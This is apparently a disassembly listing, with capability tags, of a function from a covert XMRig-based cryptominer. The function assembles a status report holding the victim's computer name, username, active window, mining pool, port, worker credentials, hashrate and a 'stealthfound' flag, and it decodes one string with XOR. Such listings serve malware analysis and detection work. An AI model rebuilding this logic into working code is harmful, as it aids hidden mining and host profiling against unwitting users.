Function at 0x1400994b4
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1560]
mov eax, 0x1660
call fcn.140335c90
sub rsp, rax
mov rax, qword [0x1404e8f18]
xor rax, rsp
mov qword [rbp + 0x1550], rax
mov r13, rdx
mov rsi, rcx
mov qword [rsp + 0x20], rdx
xor r12d, r12d
mov dword [rsp + 0x30], r12d
xor r9d, r9d
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x20]
call fcn.14001e974
nop
mov rdi, qword [rbp + 0x30]
lea rdx, [rsi + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.140090414
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
lea ebx, [r12 + 3]
mov word [rbp + 0x2e], bx
mov rcx, qword [rsi + 0x140]
mov rcx, qword [rcx + 0x30]
call fcn.140021134
lea rcx, [rax + 0x60]
lea rdx, [rbp - 0x30]
call fcn.1400408b4
mov r8, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov eax, 0x405
mov word [rsp + 0x2e], ax
mov rax, qword [rsp + 0x28]
movabs rcx, 0xffff000000000000
and rax, rcx
lea rcx, [0x140372fa4]
or rax, rcx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 2
mov r9, rdi
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.1400200f8
nop
mov rdx, qword [rsi + 0x140]
add rdx, 0x360
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1400995cf
mov rdx, qword [rdx]
lea rcx, [rbp - 0x20]
call fcn.140012c04
lea rax, str.computername
mov qword [rbp - 0x30], rax
mov r14d, ntohs
mov dword [rbp - 0x28], r14d
mov r9, rdi
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
mov rdx, qword [rsi + 0x140]
add rdx, 0x380
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x14009962c
mov rdx, qword [rdx]
lea rcx, [rbp - 0x20]
call fcn.140012c04
lea rax, str.username
mov qword [rbp - 0x30], rax
mov r15d, 8
mov dword [rbp - 0x28], r15d
mov r9, rdi
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
mov rdx, qword [rsi + 0x140]
add rdx, 0x3c0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140099689
mov rdx, qword [rdx]
lea rcx, [rbp - 0x20]
call fcn.140012c04
lea rax, [0x1403c8d4c]
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], ebx
mov r9, rdi
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
mov rdx, qword [rsi + 0x140]
add rdx, 0x3a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1400996df
mov rdx, qword [rdx]
lea rcx, [rbp - 0x20]
call fcn.140012c04
lea rax, [0x1403819a8]
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], ebx
mov r9, rdi
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
mov rdx, qword [rsi + 0x140]
add rdx, 0x320
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140099735
mov rdx, qword [rdx]
lea rcx, [rbp - 0x20]
call fcn.140012c04
lea rax, str.remoteconfig
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], r14d
mov r9, rdi
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
mov rcx, qword [rsi + 0x140]
mov rcx, qword [rcx + 0x30]
call fcn.140021134
cmp qword [rax + 0x58], r12
lea rdx, str.Unknown
je 0x140099782
mov rdx, qword [rax + 0x50]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r12
or r14, 0xffffffffffffffff
mov r8, r14
inc r8
cmp byte [rdx + r8], r12b
jne 0x140099798
lea rcx, [rbp - 0x20]
call fcn.140003aa8
mov dword [rsp + 0x30], r15d
lea rax, str.version
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 7
mov r9, rdi
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
call fcn.1400aed48
test al, al
je 0x140099846
movdqa xmm0, xmmword [str.5gCYVPT_]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x10], 0x2821
xor eax, eax
mov byte [rbp - 0xe], al
mov rcx, r12
mov al, byte [rbp - 0x20]
add al, cl
xor byte [rbp + rcx - 0x1f], al
inc rcx
cmp rcx, 0x11
jb 0x1400997f9
mov byte [rbp - 0xe], r12b
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x10], xmm1
lea rax, [rbp - 0x1f]
mov r8, r14
inc r8
cmp byte [rax + r8], r12b
jne 0x140099825
lea rdx, [rbp - 0x1f]
lea rcx, [rbp]
call fcn.140003aa8
lea r15, [rbp]
mov ebx, 9
jmp 0x14009985a
lea rcx, [rbp + 0x80]
call fcn.1400ad81c
mov r15, rax
mov ebx, 0xa
mov dword [rsp + 0x30], ebx
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r12
mov qword [rbp - 0x80], r12
mov r8d, 0x20
mov rdx, r15
lea rcx, [rsp + 0x68]
call fcn.140336c00
mov qword [r15 + 0x10], r12
mov qword [r15 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r15], r12b
lea rax, str.activewindow
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], ntohs
mov r9, rdi
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
nop
test bl, 2
je 0x140099919
and ebx, 0xfffffffd
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140099902
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400998fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009a01f
call fcn.1403357a8
movdqa xmm0, xmmword [0x140372210]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], r12b
mov r15d, 1
test r15b, bl
je 0x14009995f
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14009995f
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009995a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009a019
call fcn.1403357a8
xor ecx, ecx
call fcn.140347774
mov r8, rax
mov rax, qword [rsi + 0x140]
sub r8, qword [rax + 0x868]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov eax, 0x405
mov word [rsp + 0x2e], ax
mov rax, qword [rsp + 0x28]
movabs rcx, 0xffff000000000000
and rax, rcx
lea rcx, str.runtime
or rax, rcx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 7
mov r9, rdi
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.14001fff4
nop
lea rax, str.xmrig
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 5
lea rax, str.type
mov qword [rsp + 0x20], rax
mov ebx, 4
mov dword [rsp + 0x28], ebx
mov r9, rdi
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.140020078
mov rdx, qword [rbp + 0x188]
test rdx, rdx
je 0x140099a19
cmp word [rbp + 0x1a8], r12w
mov al, r15b
ja 0x140099a1c
mov al, r12b
test al, al
je 0x140099e0e
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
mov r8, r14
inc r8
cmp byte [rdx + r8], r12b
jne 0x140099a36
lea rcx, [rbp]
call fcn.140003aa8
lea rax, str.pool
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], ebx
mov r9, rdi
lea r8, [rbp]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov eax, 0x405
mov word [rsp + 0x2e], ax
mov rax, qword [rsp + 0x28]
movabs rcx, 0xffff000000000000
and rax, rcx
lea rcx, str.port
or rax, rcx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
movups xmmword [rbp - 0x30], xmm0
movzx eax, word [rbp + 0x1a8]
mov qword [rbp - 0x30], rax
mov eax, 0x1f6
mov word [rbp - 0x22], ax
mov r9, rdi
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.1400200f8
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xa4]
call fcn.140011584
mov r8, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov eax, 0x405
mov word [rsp + 0x2e], ax
mov rax, qword [rsp + 0x28]
movabs rcx, 0xffff000000000000
and rax, rcx
lea rcx, str.algo
or rax, rcx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
mov r9, rdi
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.1400200f8
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
mov rdx, qword [rbp + 0x110]
mov r8, r14
inc r8
cmp byte [rdx + r8], r12b
jne 0x140099b44
lea rcx, [rbp]
call fcn.140003aa8
lea rax, str.worker
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 6
mov r9, rdi
lea r8, [rbp]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
mov rdx, qword [rbp + 0x100]
test rdx, rdx
cmove rdx, qword [0x1404ee1b8]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
mov r8, r14
inc r8
cmp byte [rdx + r8], r12b
jne 0x140099ba0
lea rcx, [rbp]
call fcn.140003aa8
lea rax, str.password
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 8
mov r9, rdi
lea r8, [rbp]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
mov rdx, qword [rbp + 0x120]
test rdx, rdx
cmove rdx, qword [0x1404ee1c8]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
mov r8, r14
inc r8
cmp byte [rdx + r8], r12b
jne 0x140099bfc
lea rcx, [rbp]
call fcn.140003aa8
lea rax, str.user
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], ebx
mov r9, rdi
lea r8, [rbp]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
cmp byte [rsi + 0x138], r12b
jne 0x140099cfa
mov rcx, rsi
call fcn.14009b2b0
movaps xmm2, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x20], xmm1
mov eax, 0x405
mov word [rsp + 0x2e], ax
mov rax, qword [rsp + 0x28]
movabs rcx, 0xffff000000000000
and rax, rcx
lea r15, str.hashrate
or rax, r15
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movsd qword [rbp - 0x30], xmm2
mov eax, 0x216
mov word [rbp - 0x22], ax
mov r9, rdi
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.1400200f8
nop
mov rcx, qword [rsi + 0x140]
add rcx, 0x450
lea rax, [0x140370cd0]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
lea rdx, [rbp - 0x30]
call fcn.14004ec98
mov rax, qword [rsi + 0x140]
lea rcx, [rax + 0x450]
xor r9d, r9d
mov r8, qword [rax + 0x460]
lea rdx, [rbp + 0x20]
call fcn.14004a5b4
jmp 0x140099e06
call fcn.14033456c
mov ecx, eax
or dword [rbp + 0x1544], 0xffffffff
mov dword [rbp + 0x1c4], eax
mov rdx, r15
mov r8d, 0x270
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edx
mov dword [rbp + rdx*4 + 0x1c4], ecx
add rdx, r15
cmp rdx, r8
jb 0x140099d17
mov dword [rbp + 0x1c0], r8d
mov r9d, socket
mov r8d, r15d
lea rdx, [rbp + 0x1c0]
lea rcx, [rsp + 0x20]
call fcn.14008c4b4
mov ebx, eax
mov rcx, qword [rsi + 0x140]
add rcx, 0x450
xorps xmm2, xmm2
lea r15, str.hashrate
mov rdx, r15
call fcn.14001c5c8
movaps xmm5, xmm0
xorps xmm1, xmm1
cvtsi2sd xmm1, rbx
movsd xmm4, qword [0x140372f70]
subsd xmm4, xmm1
movsd xmm3, qword [0x140372398]
subsd xmm3, xmm4
divsd xmm3, qword [0x140372398]
mulsd xmm5, xmm3
xorps xmm1, xmm1
movups xmmword [rsp + 0x20], xmm1
mov eax, 0x405
mov word [rsp + 0x2e], ax
mov rax, qword [rsp + 0x28]
movabs rcx, 0xffff000000000000
and rax, rcx
or rax, r15
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movsd qword [rbp - 0x30], xmm5
mov eax, 0x216
mov word [rbp - 0x22], ax
mov r9, rdi
lea r8, [rbp - 0x30]
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.1400200f8
nop
mov r15d, 1
jmp 0x140099e1c
mov rax, qword [rsi + 0x140]
mov dword [rax + 0x444], r15d
mov rax, qword [rsi + 0x140]
lea rcx, str.status
mov qword [rbp - 0x30], rcx
mov dword [rbp - 0x28], 6
mov r9, rdi
mov r8d, dword [rax + 0x444]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.1400260a0
mov rdx, qword [rsi + 0x140]
cmp byte [rdx + 0x2ea], r12b
je 0x140099eaf
add rdx, 0x420
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140099e80
mov rdx, qword [rdx]
lea rcx, [rbp]
call fcn.140012c04
lea rax, str.stealthfound
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], ntohs
mov r9, rdi
lea r8, [rbp]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x20]
call fcn.14008b394
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r12
movdqa xmm1, xmmword [0x140372f90]
movdqu xmmword [rsp + 0x58], xmm1
mov qword [rsp + 0x50], r12
lea rax, [rsp + 0x38]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], r12
movdqa xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x50], xmm1
mov qword [rbp - 0x40], 0x200
mov dword [rbp - 0x38], 0x144
mov byte [rbp - 0x34], r12b
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x20]
call fcn.140028eb4
lea rcx, [rbp + 0x20]
call fcn.140041574
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
sub rax, rcx
cmp rax, r15
jge 0x140099f37
mov rdx, r15
lea rcx, [rsp + 0x38]
call fcn.14001cf6c
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + 1]
mov qword [rsp + 0x50], rax
mov byte [rcx], r12b
sub qword [rsp + 0x50], r15
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], r12
mov qword [r13 + 0x18], r12
mov rdx, qword [rsp + 0x48]
inc r14
cmp byte [rdx + r14], r12b
jne 0x140099f5d
mov r8, r14
mov rcx, r13
call fcn.140003aa8
nop
mov rcx, qword [rbp - 0x58]
call fcn.14033ce60
mov rdx, r15
mov rcx, qword [rbp - 0x60]
call fcn.1403357a8
nop
mov rcx, qword [rsp + 0x48]
call fcn.14033ce60
mov rdx, r15
mov rcx, qword [rsp + 0x40]
call fcn.1403357a8
nop
lea rcx, [rbp + 0xa0]
call fcn.140022aa0
nop
mov rbx, qword [rbp + 0x38]
test rbx, rbx
je 0x140099fd7
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov word [rbp + 0x2e], r12w
mov rcx, rbx
call fcn.14001ebe8
mov edx, 0x18
mov rcx, rbx
call fcn.1403357a8
mov rcx, qword [rbp + 0x50]
call fcn.14033ce60
mov rdx, r15
mov rcx, qword [rbp + 0x48]
call fcn.1403357a8
mov rax, r13
mov rcx, qword [rbp + 0x1550]
xor rcx, rsp
call fcn.1403358f0
mov rbx, qword [rsp + 0x16b0]
add rsp, 0x1660
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14033cba4
nop
call fcn.14033cba4
int3